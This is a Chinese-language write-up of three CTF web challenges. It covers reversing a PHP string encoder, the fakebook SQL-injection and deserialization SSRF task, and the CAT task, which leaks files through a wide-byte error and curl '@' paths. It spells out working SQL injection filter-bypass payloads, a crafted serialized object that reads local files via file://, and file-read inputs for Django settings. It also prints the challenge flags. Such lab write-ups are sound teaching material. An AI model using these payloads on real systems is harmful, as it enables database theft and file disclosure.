0x00 NSCTFweb2題解(19)
打開題目直接是一段代碼,提示逆向即為flag,首先看代碼:
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密演算法,解密$miwen就是flag
*/
?>
從演算法可以看出,最后呈現給我們的字串是str_rot13(strrev(base64_encode($_)));,而$_是for回圈中挨個取值ascii碼加1的結果,我們一步步逆向回去即可,
首先進行rot13解碼,
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=str_rot13($miwen);
然后將字串反轉后進行base64解密,
$miwen=strrev($miwen);
$miwen1 = base64_decode($miwen);
然后逆向for回圈中的陳述句,所有加1變減1即可,最后因為$_=$_.$_c;是向后拼接的結果,所以要再次將字串翻轉,
for ($_0=0;$_0<strlen($miwen1);$_0++){
$_c=substr($miwen1,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo strrev($_);
最終結果為flag,全部提交為正確答案,
完整代碼為:
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=str_rot13($miwen);#rot13解碼
$miwen=strrev($miwen);#字串翻轉
$miwen1 = base64_decode($miwen);#base64解碼
echo $miwen1."<br/>";
$_=''; #初始化變數
for ($_0=0;$_0<strlen($miwen1);$_0++){
$_c=substr($miwen1,$_0,1);
$__=ord($_c)-1; #將ascii碼減1
$_c=chr($__); #轉換為字符
$_=$_.$_c; #拼接字符
}
echo strrev($_);#再次翻轉
運行結果為:

flag為:
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
0x01 網鼎杯 2018 fakebook題解(20)
這個題目首先是需要登錄后,進行查詢操作,最后在查詢時將欄位的值反序列化得到敏感檔案,是一道比較綜合的題目,
首先主頁顯示的一個blog系統,顯示用戶的id、blog等資訊,
當我們注冊一個登錄后,頁面顯示為:

然后username是一個鏈接,這里是去查詢這個id的所有資訊,也就是這4個欄位,url為:
http://111.200.241.244:53591/view.php?no=1
輸入單引號報錯,說明可能存在注入漏洞

嘗試注入:
這里注入點是數字型,no表示的應當是id號,
所以直接在引數后加order by即可,
經過測驗共4個欄位,
使用union聯合查詢時報錯,發現過濾了union select整個語法,

使用注釋符繞過一下,
-1%20union/**/select%201,2,3,4#
可以看到這個時候回顯的位置已經判斷出來了,username已經從1變成了2,說明我們此時查詢回顯的位置為2,將2中的陳述句替換,使用
-1%20union/**/select%201,database()3,4#
-1%20union/**/select%201,user(),3,4#
-1%20union/**/select%201,select%20group_concat(SCHEMA_NAME)%20from%20information_schema.SCHEMATA,3,4#
查詢所有的資料庫和當前庫名、用戶名,得到資訊:
所有資料庫為:
fakebook
information_schema
mysql
performance_schema
test
當前庫為:fakebook
當前用戶為:root@localhost
使用
-1%20union/**/select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%27fakebook%27),3,4#
查詢fakebook庫中的表為users
使用
-1%20union/**/select%201,(select%20group_concat(COLUMN_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27fakebook%27%20and%20TABLE_NAME=%27users%27),3,4#
查詢表中欄位為:
no
username
passwd
data
可見資料庫中并沒有flag欄位,當然要是有這個題就太基礎了,
接下來就到了這個題目的第二部,原始碼審計,在robots.txt中發現了user.php的備份檔案,下載下來查看:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
代碼沒有反序列化的各種繞過和Pop鏈,只有一個決議域名的SSRF漏洞,可以通過curl_exec包含本地檔案,這里通過注入查找發現data中的資料就是序列化之后的字串,
-1%20union/**/select%201,(select%20data%20from%20users%20where%201=1),3,4#
回傳的data資料為:
且報錯顯示在反序列化時發生了錯誤,
嘗試把查詢到的資料帶入4位置中,發現回傳正常頁面,也就是說,被查詢的序列化字串被反序列化后顯示到了前面3個欄位,這時我們需要構造序列化串,來讀取我們需要的檔案,

構造序列化串讀取/var/www/html/flag.php:
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
傳入4的位置,使我們的字串被序列化讀取檔案,
最終payload:
no=-11%20union/**/SELECT%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27#
回傳頁面為:
得到flag:
flag{c1e552fdf77049fabf65168f22f7aeab}
0x02 WHCTF-2017 CAT題解(21)
這個題目打開之后要求輸入一個域名,試試baidu.com,沒什么反應,
但是url變了,增加了一個引數可以控制,url=
試試127.0.0.1,發現是一個ping命令,回傳執行的結果,

但使用|管道符和;分號分割命令都不可行,都被過濾,
其實這個題目沒有什么特殊的思路,大佬們的wp也都比較簡單,總的來說就是讓這個框架寫的后臺報錯,在報錯資訊中找到答案,當然這里首先是FUZZ了所有過濾的字符,發現只留下了@這一個字符,然后通過超出ascii碼的輸入使框架報錯,這里使用寬位元組使后臺報錯,輸入%bf,回傳錯誤資訊,
報錯資訊中提示出現錯誤的python路徑為/opt/api,在處理gbk編碼時解碼出現了錯誤,沒有辦法繼續執行了,
這里大佬們都說對python站點使用Django框架,配置資訊會存放在作業目錄的setting.py中,這里php curl中有一個知識點,可以使用@加上完整的路徑來傳遞檔案,從而找到我們的敏感資訊,首先使用
@/opt/api/api/settings.py
來獲取資料庫配置的資訊,但是事實上在一開始寬位元組報錯時下面就有一部分setting的報錯,已經將資料庫的資訊列印了出來,所以只需要直接去找資料庫的資訊即可,
這里使用
@/opt/api/database.sqlite3
在報錯資訊中找到flag,

flag為:
WHCTF{yoooo_Such_A_G00D_@}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298886.html
標籤:其他
